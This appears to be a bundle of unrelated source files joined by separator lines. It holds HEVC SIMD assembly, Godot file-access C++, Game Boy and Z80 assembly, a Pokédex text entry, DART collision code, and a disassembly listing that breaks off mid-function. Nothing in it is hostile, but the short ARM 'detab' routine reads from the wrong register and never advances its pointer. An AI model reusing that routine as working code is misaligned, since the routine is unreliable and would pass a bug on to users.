UNI_COMPUTE %1, %2, m0, m1, [pw_%2]
PEL_%2STORE%1 dstq, m0, m1
%if %1 <= 4
movq m8, m9
movq m9, m10
movq m10, m11
movq m11, m12
movq m12, m13
movq m13, m14
movq m14, m15
%else
mova m8, m9
mova m9, m10
mova m10, m11
mova m11, m12
mova m12, m13
mova m13, m14
mova m14, m15
%endif
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
cglobal hevc_put_hevc_bi_qpel_hv%1_%2, 8, 10, 16, dst, dststride, src, srcstride, src2, height, mx, my, r3src, rfilter
%if cpuflag(avx2)
%assign %%shift 4
%else
%assign %%shift 3
%endif
sub mxq, 1
sub myq, 1
shl mxq, %%shift ; multiply by 32
shl myq, %%shift ; multiply by 32
lea r3srcq, [srcstrideq*3]
sub srcq, r3srcq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m8, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m9, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m10, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m11, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m12, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m13, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m14, m0
add srcq, srcstrideq
.loop:
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m15, m0
punpcklwd m0, m8, m9
punpcklwd m2, m10, m11
punpcklwd m4, m12, m13
punpcklwd m6, m14, m15
%if %1 > 4
punpckhwd m1, m8, m9
punpckhwd m3, m10, m11
punpckhwd m5, m12, m13
punpckhwd m7, m14, m15
%endif
QPEL_HV_COMPUTE %1, 14, my, ackssdw
SIMPLE_BILOAD %1, src2q, m8, m9 ;m9 not used in this case
BI_COMPUTE %1, %2, m0, m1, m8, m9, [pw_bi_%2]
PEL_%2STORE%1 dstq, m0, m1
%if %1 <= 4
movq m8, m9
movq m9, m10
movq m10, m11
movq m11, m12
movq m12, m13
movq m13, m14
movq m14, m15
%else
movdqa m8, m9
movdqa m9, m10
movdqa m10, m11
movdqa m11, m12
movdqa m12, m13
movdqa m13, m14
movdqa m14, m15
%endif
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
add src2q, 2*MAX_PB_SIZE ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
%endmacro
%macro WEIGHTING_FUNCS 2
%if WIN64 || ARCH_X86_32
cglobal hevc_put_hevc_uni_w%1_%2, 4, 5, 7, dst, dststride, src, height, denom, wx, ox
mov r4d, denomm
%define SHIFT r4d
%else
cglobal hevc_put_hevc_uni_w%1_%2, 6, 6, 7, dst, dststride, src, height, denom, wx, ox
%define SHIFT denomd
%endif
lea SHIFT, [SHIFT+14-%2] ; shift = 14 - bitd + denom
%if %1 <= 4
pxor m1, m1
%endif
movd m2, wxm ; WX
movd m4, SHIFT ; shift
%if %1 <= 4
punpcklwd m2, m1
%else
punpcklwd m2, m2
%endif
dec SHIFT
movdqu m5, [pd_1]
movd m6, SHIFT
pshufd m2, m2, 0
mov SHIFT, oxm
pslld m5, m6
%if %2 != 8
shl SHIFT, %2-8 ; ox << (bitd - 8)
%endif
movd m3, SHIFT ; OX
pshufd m3, m3, 0
%if WIN64 || ARCH_X86_32
mov SHIFT, heightm
%endif
.loop:
SIMPLE_LOAD %1, 10, srcq, m0
%if %1 <= 4
punpcklwd m0, m1
pmaddwd m0, m2
paddd m0, m5
psrad m0, m4
paddd m0, m3
%else
pmulhw m6, m0, m2
pmullw m0, m2
punpckhwd m1, m0, m6
punpcklwd m0, m6
paddd m0, m5
paddd m1, m5
psrad m0, m4
psrad m1, m4
paddd m0, m3
paddd m1, m3
%endif
packssdw m0, m1
%if %2 == 8
packuswb m0, m0
%else
CLIPW m0, [pb_0], [max_pixels_%2]
%endif
PEL_%2STORE%1 dstq, m0, m1
add dstq, dststrideq ; dst += dststride
add srcq, 2*MAX_PB_SIZE ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
cglobal hevc_put_hevc_bi_w%1_%2, 4, 6, 10, dst, dststride, src, src2, height, denom, wx0, wx1, ox0, ox1
movifnidn r5d, denomm
%if %1 <= 4
pxor m1, m1
%endif
movd m2, wx0m ; WX0
lea r5d, [r5d+14-%2] ; shift = 14 - bitd + denom
movd m3, wx1m ; WX1
movd m0, r5d ; shift
%if %1 <= 4
punpcklwd m2, m1
punpcklwd m3, m1
%else
punpcklwd m2, m2
punpcklwd m3, m3
%endif
inc r5d
movd m5, r5d ; shift+1
pshufd m2, m2, 0
mov r5d, ox0m
pshufd m3, m3, 0
add r5d, ox1m
%if %2 != 8
shl r5d, %2-8 ; ox << (bitd - 8)
%endif
inc r5d
movd m4, r5d ; offset
pshufd m4, m4, 0
%if UNIX64
%define h heightd
%else
mov r5d, heightm
%define h r5d
%endif
pslld m4, m0
.loop:
SIMPLE_LOAD %1, 10, srcq, m0
SIMPLE_LOAD %1, 10, src2q, m8
%if %1 <= 4
punpcklwd m0, m1
punpcklwd m8, m1
pmaddwd m0, m3
pmaddwd m8, m2
paddd m0, m4
paddd m0, m8
psrad m0, m5
%else
pmulhw m6, m0, m3
pmullw m0, m3
pmulhw m7, m8, m2
pmullw m8, m2
punpckhwd m1, m0, m6
punpcklwd m0, m6
punpckhwd m9, m8, m7
punpcklwd m8, m7
paddd m0, m8
paddd m1, m9
paddd m0, m4
paddd m1, m4
psrad m0, m5
psrad m1, m5
%endif
packssdw m0, m1
%if %2 == 8
packuswb m0, m0
%else
CLIPW m0, [pb_0], [max_pixels_%2]
%endif
PEL_%2STORE%1 dstq, m0, m1
add dstq, dststrideq ; dst += dststride
add srcq, 2*MAX_PB_SIZE ; src += srcstride
add src2q, 2*MAX_PB_SIZE ; src2 += srcstride
dec h ; cmp height
jnz .loop ; height loop
RET
%endmacro
INIT_XMM sse4 ; adds ff_ and _sse4 to function name
WEIGHTING_FUNCS 2, 8
WEIGHTING_FUNCS 4, 8
WEIGHTING_FUNCS 6, 8
WEIGHTING_FUNCS 8, 8
WEIGHTING_FUNCS 2, 10
WEIGHTING_FUNCS 4, 10
WEIGHTING_FUNCS 6, 10
WEIGHTING_FUNCS 8, 10
WEIGHTING_FUNCS 2, 12
WEIGHTING_FUNCS 4, 12
WEIGHTING_FUNCS 6, 12
WEIGHTING_FUNCS 8, 12
HEVC_PUT_HEVC_PEL_PIXELS 2, 8
HEVC_PUT_HEVC_PEL_PIXELS 4, 8
HEVC_PUT_HEVC_PEL_PIXELS 6, 8
HEVC_PUT_HEVC_PEL_PIXELS 8, 8
HEVC_PUT_HEVC_PEL_PIXELS 12, 8
HEVC_PUT_HEVC_PEL_PIXELS 16, 8
HEVC_PUT_HEVC_PEL_PIXELS 2, 10
HEVC_PUT_HEVC_PEL_PIXELS 4, 10
HEVC_PUT_HEVC_PEL_PIXELS 6, 10
HEVC_PUT_HEVC_PEL_PIXELS 8, 10
HEVC_PUT_HEVC_PEL_PIXELS 2, 12
HEVC_PUT_HEVC_PEL_PIXELS 4, 12
HEVC_PUT_HEVC_PEL_PIXELS 6, 12
HEVC_PUT_HEVC_PEL_PIXELS 8, 12
HEVC_PUT_HEVC_EPEL 2, 8
HEVC_PUT_HEVC_EPEL 4, 8
HEVC_PUT_HEVC_EPEL 6, 8
HEVC_PUT_HEVC_EPEL 8, 8
HEVC_PUT_HEVC_EPEL 12, 8
HEVC_PUT_HEVC_EPEL 16, 8
HEVC_PUT_HEVC_EPEL 2, 10
HEVC_PUT_HEVC_EPEL 4, 10
HEVC_PUT_HEVC_EPEL 6, 10
HEVC_PUT_HEVC_EPEL 8, 10
HEVC_PUT_HEVC_EPEL 2, 12
HEVC_PUT_HEVC_EPEL 4, 12
HEVC_PUT_HEVC_EPEL 6, 12
HEVC_PUT_HEVC_EPEL 8, 12
HEVC_PUT_HEVC_EPEL_HV 2, 8
HEVC_PUT_HEVC_EPEL_HV 4, 8
HEVC_PUT_HEVC_EPEL_HV 6, 8
HEVC_PUT_HEVC_EPEL_HV 8, 8
HEVC_PUT_HEVC_EPEL_HV 16, 8
HEVC_PUT_HEVC_EPEL_HV 2, 10
HEVC_PUT_HEVC_EPEL_HV 4, 10
HEVC_PUT_HEVC_EPEL_HV 6, 10
HEVC_PUT_HEVC_EPEL_HV 8, 10
HEVC_PUT_HEVC_EPEL_HV 2, 12
HEVC_PUT_HEVC_EPEL_HV 4, 12
HEVC_PUT_HEVC_EPEL_HV 6, 12
HEVC_PUT_HEVC_EPEL_HV 8, 12
HEVC_PUT_HEVC_QPEL 4, 8
HEVC_PUT_HEVC_QPEL 8, 8
HEVC_PUT_HEVC_QPEL 12, 8
HEVC_PUT_HEVC_QPEL 16, 8
HEVC_PUT_HEVC_QPEL 4, 10
HEVC_PUT_HEVC_QPEL 8, 10
HEVC_PUT_HEVC_QPEL 4, 12
HEVC_PUT_HEVC_QPEL 8, 12
HEVC_PUT_HEVC_QPEL_HV 2, 8
HEVC_PUT_HEVC_QPEL_HV 4, 8
HEVC_PUT_HEVC_QPEL_HV 6, 8
HEVC_PUT_HEVC_QPEL_HV 8, 8
HEVC_PUT_HEVC_QPEL_HV 2, 10
HEVC_PUT_HEVC_QPEL_HV 4, 10
HEVC_PUT_HEVC_QPEL_HV 6, 10
HEVC_PUT_HEVC_QPEL_HV 8, 10
HEVC_PUT_HEVC_QPEL_HV 2, 12
HEVC_PUT_HEVC_QPEL_HV 4, 12
HEVC_PUT_HEVC_QPEL_HV 6, 12
HEVC_PUT_HEVC_QPEL_HV 8, 12
%if HAVE_AVX2_EXTERNAL
INIT_YMM avx2 ; adds ff_ and _avx2 to function name & enables 256b registers : m0 for 256b, xm0 for 128b. cpuflag(avx2) = 1 / notcpuflag(avx) = 0
HEVC_PUT_HEVC_PEL_PIXELS 32, 8
HEVC_PUT_HEVC_PEL_PIXELS 16, 10
HEVC_PUT_HEVC_EPEL 32, 8
HEVC_PUT_HEVC_EPEL 16, 10
HEVC_PUT_HEVC_EPEL_HV 16, 10
HEVC_PUT_HEVC_EPEL_HV 32, 8
HEVC_PUT_HEVC_QPEL 32, 8
HEVC_PUT_HEVC_QPEL 16, 10
HEVC_PUT_HEVC_QPEL_HV 16, 10
%endif ;AVX2
%endif ; ARCH_X86_64
|
; A053545: Comparisons needed for Batcher's sorting algorithm applied to 2^n items.
; 0,1,5,19,63,191,543,1471,3839,9727,24063,58367,139263,327679,761855,1753087,3997695,9043967,20316159,45350911,100663295,222298111,488636415,1069547519,2332033023,5066719231,10972299263,23689428991,51002736639,109521666047,234612588543,501437431807,1069446856703,2276332666879,4836133175295,10256381902847,21715354648575,45904610459647,96894462197759,204234284859391,429909046460415,903798558031871,1897757069541375,3980232092549119,8338696185053183,17451448556060671,36486193856118783
mov $1,$0
bin $0,2
mov $2,$1
lpb $2
mul $0,2
add $0,2
sub $2,1
lpe
div $0,2
|
/*************************************************************************/
/* file_access.cpp */
/*************************************************************************/
/* This file is part of: */
/* GODOT ENGINE */
/* http://www.godotengine.org */
/*************************************************************************/
/* Copyright (c) 2007-2014 Juan Linietsky, Ariel Manzur. */
/* */
/* Permission is hereby granted, free of charge, to any person obtaining */
/* a copy of this software and associated documentation files (the */
/* "Software"), to deal in the Software without restriction, including */
/* without limitation the rights to use, copy, modify, merge, publish, */
/* distribute, sublicense, and/or sell copies of the Software, and to */
/* permit persons to whom the Software is furnished to do so, subject to */
/* the following conditions: */
/* */
/* The above copyright notice and this permission notice shall be */
/* included in all copies or substantial portions of the Software. */
/* */
/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */
/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */
/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/
/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */
/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */
/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */
/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
/*************************************************************************/
#include "file_access.h"
#include "globals.h"
#include "os/os.h"
#include "core/io/marshalls.h"
#include "io/md5.h"
#include "core/io/file_access_pack.h"
FileAccess::CreateFunc FileAccess::create_func[ACCESS_MAX]={0,0};
bool FileAccess::backup_save=false;
FileAccess *FileAccess::create(AccessType p_access){
ERR_FAIL_COND_V( !create_func, 0 );
ERR_FAIL_INDEX_V( p_access,ACCESS_MAX, 0 );
FileAccess *ret = create_func[p_access]();
ret->_set_access_type(p_access);
return ret;
}
bool FileAccess::exists(const String& p_name) {
if (PackedData::get_singleton()->has_path(p_name))
return true;
FileAccess *f=open(p_name,READ);
if (!f)
return false;
memdelete(f);
return true;
}
void FileAccess::_set_access_type(AccessType p_access) {
_access_type = p_access;
};
FileAccess *FileAccess::create_for_path(const String& p_path) {
FileAccess *ret=NULL;
if (p_path.begins_with("res://")) {
ret = create(ACCESS_RESOURCES);
} else if (p_path.begins_with("user://")) {
ret = create(ACCESS_USERDATA);
} else {
ret = create(ACCESS_FILESYSTEM);
}
return ret;
}
Error FileAccess::reopen(const String& p_path, int p_mode_flags) {
return _open(p_path, p_mode_flags);
};
FileAccess *FileAccess::open(const String& p_path, int p_mode_flags, Error *r_error) {
//try packed data first
FileAccess *ret=NULL;
if (!(p_mode_flags&WRITE) && PackedData::get_singleton() && !PackedData::get_singleton()->is_disabled()) {
ret = PackedData::get_singleton()->try_open_path(p_path);
if (ret) {
if (r_error)
*r_error=OK;
return ret;
}
}
ret=create_for_path(p_path);
Error err = ret->_open(p_path,p_mode_flags);
if (r_error)
*r_error=err;
if (err!=OK) {
memdelete(ret);
ret=NULL;
}
return ret;
}
FileAccess::CreateFunc FileAccess::get_create_func(AccessType p_access) {
return create_func[p_access];
};
String FileAccess::fix_path(const String& p_path) const {
//helper used by file accesses that use a single filesystem
String r_path = p_path.replace("\\", "/");
switch(_access_type) {
case ACCESS_RESOURCES: {
if (Globals::get_singleton()) {
if (r_path.begins_with("res://")) {
String resource_path = Globals::get_singleton()->get_resource_path();
if (resource_path != "") {
return r_path.replace("res:/",resource_path);
};
return r_path.replace("res://", "");
}
}
} break;
case ACCESS_USERDATA: {
if (r_path.begins_with("user://")) {
String data_dir=OS::get_singleton()->get_data_dir();
if (data_dir != "") {
return r_path.replace("user:/",data_dir);
};
return r_path.replace("user://", "");
}
} break;
case ACCESS_FILESYSTEM: {
return r_path;
} break;
}
return r_path;
}
/* these are all implemented for ease of porting, then can later be optimized */
uint16_t FileAccess::get_16()const {
uint16_t res;
uint8_t a,b;
a=get_8();
b=get_8();
if (endian_swap) {
SWAP( a,b );
}
res=b;
res<<=8;
res|=a;
return res;
}
uint32_t FileAccess::get_32() const{
uint32_t res;
uint16_t a,b;
a=get_16();
b=get_16();
if (endian_swap) {
SWAP( a,b );
}
res=b;
res<<=16;
res|=a;
return res;
}
uint64_t FileAccess::get_64()const {
uint64_t res;
uint32_t a,b;
a=get_32();
b=get_32();
if (endian_swap) {
SWAP( a,b );
}
res=b;
res<<=32;
res|=a;
return res;
}
float FileAccess::get_float() const {
MarshallFloat m;
m.i = get_32();
return m.f;
};
real_t FileAccess::get_real() const {
if (real_is_double)
return get_double();
else
return get_float();
}
double FileAccess::get_double() const {
MarshallDouble m;
m.l = get_64();
return m.d;
};
String FileAccess::get_line() const {
CharString line;
CharType c=get_8();
while(!eof_reached()) {
if (c=='\n' || c=='\0') {
line.push_back(0);
return String::utf8(line.get_data());
} else if (c!='\r')
line.push_back(c);
c=get_8();
}
line.push_back(0);
return String::utf8(line.get_data());
}
Vector<String> FileAccess::get_csv_line() const {
String l;
int qc=0;
do {
l+=get_line();
qc=0;
for(int i=0;i<l.length();i++) {
if (l[i]=='"')
qc++;
}
} while (qc%2);
Vector<String> strings;
bool in_quote=false;
String current;
for(int i=0;i<l.length();i++) {
CharType c = l[i];
CharType s[2]={0,0};
if (!in_quote && c==',') {
strings.push_back(current);
current=String();
} else if (c=='"') {
if (l[i+1]=='"') {
s[0]='"';
current+=s;
i++;
} else {
in_quote=!in_quote;
}
} else {
s[0]=c;
current+=s;
}
}
strings.push_back(current);
return strings;
}
int FileAccess::get_buffer(uint8_t *p_dst,int p_length) const{
int i=0;
for (i=0; i<p_length && !eof_reached(); i++)
p_dst[i]=get_8();
return i;
}
void FileAccess::store_16(uint16_t p_dest) {
uint8_t a,b;
a=p_dest&0xFF;
b=p_dest>>8;
if (endian_swap) {
SWAP( a,b );
}
store_8(a);
store_8(b);
}
void FileAccess::store_32(uint32_t p_dest) {
uint16_t a,b;
a=p_dest&0xFFFF;
b=p_dest>>16;
if (endian_swap) {
SWAP( a,b );
}
store_16(a);
store_16(b);
}
void FileAccess::store_64(uint64_t p_dest) {
uint32_t a,b;
a=p_dest&0xFFFFFFFF;
b=p_dest>>32;
if (endian_swap) {
SWAP( a,b );
}
store_32(a);
store_32(b);
}
void FileAccess::store_real(real_t p_real) {
if (sizeof(real_t)==4)
store_float(p_real);
else
store_double(p_real);
}
void FileAccess::store_float(float p_dest) {
MarshallFloat m;
m.f = p_dest;
store_32(m.i);
};
void FileAccess::store_double(double p_dest) {
MarshallDouble m;
m.d = p_dest;
store_64(m.l);
};
uint64_t FileAccess::get_modified_time(const String& p_file) {
FileAccess *fa = create_for_path(p_file);
ERR_FAIL_COND_V(!fa,0);
uint64_t mt = fa->_get_modified_time(p_file);
memdelete(fa);
return mt;
}
void FileAccess::store_string(const String& p_string) {
if (p_string.length()==0)
return;
CharString cs=p_string.utf8();
store_buffer((uint8_t*)&cs[0],cs.length());
}
void FileAccess::store_pascal_string(const String& p_string) {
CharString cs = p_string.utf8();
store_32(cs.length());
store_buffer((uint8_t*)&cs[0], cs.length());
};
String FileAccess::get_pascal_string() {
uint32_t sl = get_32();
CharString cs;
cs.resize(sl+1);
get_buffer((uint8_t*)cs.ptr(),sl);
cs[sl]=0;
String ret;
ret.parse_utf8(cs.ptr());
return ret;
};
void FileAccess::store_line(const String& p_line) {
store_string(p_line);
store_8('\n');
}
void FileAccess::store_buffer(const uint8_t *p_src,int p_length) {
for (int i=0;i<p_length;i++)
store_8(p_src[i]);
}
Vector<uint8_t> FileAccess::get_file_as_array(const String& p_file) {
FileAccess *f=FileAccess::open(p_file,READ);
ERR_FAIL_COND_V(!f,Vector<uint8_t>());
Vector<uint8_t> data;
data.resize(f->get_len());
f->get_buffer(data.ptr(),data.size());
memdelete(f);
return data;
}
String FileAccess::get_md5(const String& p_file) {
FileAccess *f=FileAccess::open(p_file,READ);
if (!f)
return String();
MD5_CTX md5;
MD5Init(&md5);
unsigned char step[32768];
while(true) {
int br = f->get_buffer(step,32768);
if (br>0) {
MD5Update(&md5,step,br);
}
if (br < 4096)
break;
}
MD5Final(&md5);
String ret = String::md5(md5.digest);
memdelete(f);
return ret;
}
FileAccess::FileAccess() {
endian_swap=false;
real_is_double=false;
_access_type=ACCESS_FILESYSTEM;
};
|
db "POISONMOTH@" ; species name
dw 411, 280 ; height, weight
db "The scales it"
next "scatters will"
next "paralyze anyone"
page "who touches them,"
next "making that person"
next "unable to stand.@"
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld a, ff
ldff(45), a
ld b, 91
call lwaitly_b
ld hl, fe00
ld d, 10
ld a, d
ld(hl++), a
ld a, 08
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 0c
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 10
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 28
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 2c
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 30
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 48
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 4c
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 50
ld(hl++), a
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ei
ld a, 01
ldff(45), a
ld c, 41
ld a, 93
ldff(40), a
ld a, 02
ldff(43), a
.text@1000
lstatint:
nop
.text@1098
ldff a, (c)
and a, 03
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
/*
* Copyright (c) 2011-2019, The DART development contributors
* All rights reserved.
*
* The list of contributors can be found at:
* https://github.com/dartsim/dart/blob/master/LICENSE
*
* This file is provided under the following "BSD-style" License:
* Redistribution and use in source and binary forms, with or
* without modification, are permitted provided that the following
* conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
* CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
* USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "dart/collision/ode/detail/OdeCylinder.hpp"
#include "dart/dynamics/CylinderShape.hpp"
namespace dart {
namespace collision {
namespace detail {
//==============================================================================
OdeCylinder::OdeCylinder(
const OdeCollisionObject* parent, double radius, double height)
: OdeGeom(parent)
{
mGeomId = dCreateCylinder(0, radius, height);
}
//==============================================================================
OdeCylinder::~OdeCylinder()
{
dGeomDestroy(mGeomId);
}
} // namespace detail
} // namespace collision
} // namespace dart
|
;
; CCE MC-1000 Stdio
;
; getk() Read key status
;
; Stefano Bodrato, 2013
;
;
; $Id: getk.asm,v 1.5 2015/01/19 01:33:20 pauloscustodio Exp $
;
; The code at entry $c009 checks if a key has been pressed in a 7ms interval.
; If so, A and ($012E) are set to $FF and the key code is put in ($011C).
; Otherwise, A and ($012E) are set to $00.
PUBLIC getk
.getk
call $C027
and a
jr z,key_got
ld a,($011B)
.key_got
ld l,a
ld h,0
ret
|
SECTION smc_sound_bit
PUBLIC _bitfx_14
INCLUDE "clib_target_cfg.asm"
EXTERN asm_bit_open
_bitfx_14:
; Squoink
ld a,230
ld (qi_FR_1 + 1),a
xor a
ld (qi_FR_2 + 1),a
call asm_bit_open
ld b,200
qi_loop:
dec h
jr nz, qi_jump
push af
ld a,(qi_FR_1 + 1)
dec a
ld (qi_FR_1 + 1),a
pop af
xor __sound_bit_toggle
INCLUDE "sound/bit/z80/output_bit_device_2.inc"
qi_FR_1:
ld h,50
qi_jump:
inc l
jr nz, qi_loop
push af
ld a,(qi_FR_2 + 1)
inc a
ld (qi_FR_2 + 1),a
pop af
xor __sound_bit_toggle
INCLUDE "sound/bit/z80/output_bit_device_2.inc"
qi_FR_2:
ld l,0
djnz qi_loop
ret
|
code32
format ELF
public _detab
section '.text' executable align 16
_detab:
ldrb r3, [r8]
cmp r3, #0
beq .return
.loop:
cmp r3, #9
beq .replace
ldrb r3, [r0, #1]
cmp r3, #0
bne .loop
.return:
mov r0, #0
bx lr
.replace:
strb r2, [r0]
ldrb r3, [r0, #1]
cmp r3, #0
bne .loop
mov r0, #0
bx lr
|
Function: ?DebugStr@@YAXPAE@Z
00000: 0000 53 PUSH EBX
00000: 0001 56 PUSH ESI
00000: 0002 8B 5C 24 0C MOV EBX, DWORD PTR 0000000C[ESP]
00008: 0006 0F B6 13 MOVZX EDX, BYTE PTR 00000000[EBX]
00008: 0009 42 INC EDX
00008: 000A 52 PUSH EDX
00008: 000B E8 00000000 CALL SHORT _malloc
00008: 0010 59 POP ECX
00008: 0011 89 C6 MOV ESI, EAX
00008: 0013 0F B6 0B MOVZX ECX, BYTE PTR 00000000[EBX]
00008: 0016 51 PUSH ECX
00008: 0017 89 D8 MOV EAX, EBX
00008: 0019 40 INC EAX
00008: 001A 50 PUSH EAX
00008: 001B 56 PUSH ESI
00008: 001C E8 00000000 CALL SHORT _memcpy
00008: 0021 83 C4 0C ADD ESP, 0000000C
00008: 0024 0F B6 03 MOVZX EAX, BYTE PTR 00000000[EBX]
00008: 0027 C6 04 06 00 MOV BYTE PTR 00000000[ESI][EAX], 00
00008: 002B 56 PUSH ESI
00008: 002C E8 00000000 CALL SHORT _free
00008: 0031 59 POP ECX
00000: 0032 L0000:
00000: 0032 5E POP ESI
00000: 0033 5B POP EBX
00000: 0034 C3 RETN
Function: ?FoundNote@@YAFF@Z
00000: 0000 56 PUSH ESI
00000: 0001 57 PUSH EDI
00000: 0002 55 PUSH EBP
00000: 0003 81 EC 00000090 SUB ESP, 00000090
00000: 0009 8B AC 24 000000A0 MOV EBP, DWORD PTR 000000A0[ESP]
00008: 0010 8D 7C 24 04 LEA EDI, DWORD PTR 00000004[ESP]
00008: 0014 BE 00000000 MOV ESI, OFFSET @288
00008: 0019 B9 00000023 MOV ECX, 00000023
00008: 001E F3 A5 REP MOVSD
00008: 0020 B8 000000FF MOV EAX, 000000FF
00008: 0025 66 85 ED TEST BP, BP
00008: 0028 74 22 JE L0001
00008: 002A 31 C0 XOR EAX, EAX
00000: 002C 8D 44 20 00 ALIGN 00000010, 00000008
00008: 0030 L0002:
00008: 0030 0F BF D0 MOVSX EDX, AX
00008: 0033 66 3B 6C 54 04 CMP BP, WORD PTR 00000004[ESP][EDX*2]
00008: 0038 7D 07 JGE L0003
00008: 003A 40 INC EAX
00008: 003B 66 83 F8 3C CMP AX, 003C
00008: 003F 7C FFFFFFEF JL L0002
00008: 0041 L0003:
00008: 0041 66 83 F8 60 CMP AX, 0060
00008: 0045 7C 05 JL L0001
00008: 0047 B8 000000FF MOV EAX, 000000FF
00008: 004C L0001:
00008: 004C 66 3D 00FF CMP AX, 00FF
00008: 0050 74 03 JE L0004
00008: 0052 83 C0 18 ADD EAX, 00000018
00008: 0055 L0004:
00000: 0055 L0000:
00000: 0055 81 C4 00000090 ADD ESP, 00000090
00000: 005B 5D POP EBP
00000: 005C 5F POP EDI
00000: 005D 5E POP ESI
00000: 005E C3 RETN
Function: ?Convert16to8@@YAXPAD0J@Z
00000: 0000 53 PUSH EBX
00000: 0001 55 PUSH EBP
00000: 0002 8B 54 24 0C MOV EDX, DWORD PTR 0000000C[ESP]
00000: 0006 8B 4C 24 10 MOV ECX, DWORD PTR 00000010[ESP]
00008: 000A 31 DB XOR EBX, EBX
00008: 000C 8B 6C 24 14 MOV EBP, DWORD PTR 00000014[ESP]
00008: 0010 81 FD 80000000 CMP EBP, 80000000
00008: 0016 83 DD FFFFFFFF SBB EBP, FFFFFFFF
00008: 0019 D1 FD SAR EBP, 00000001
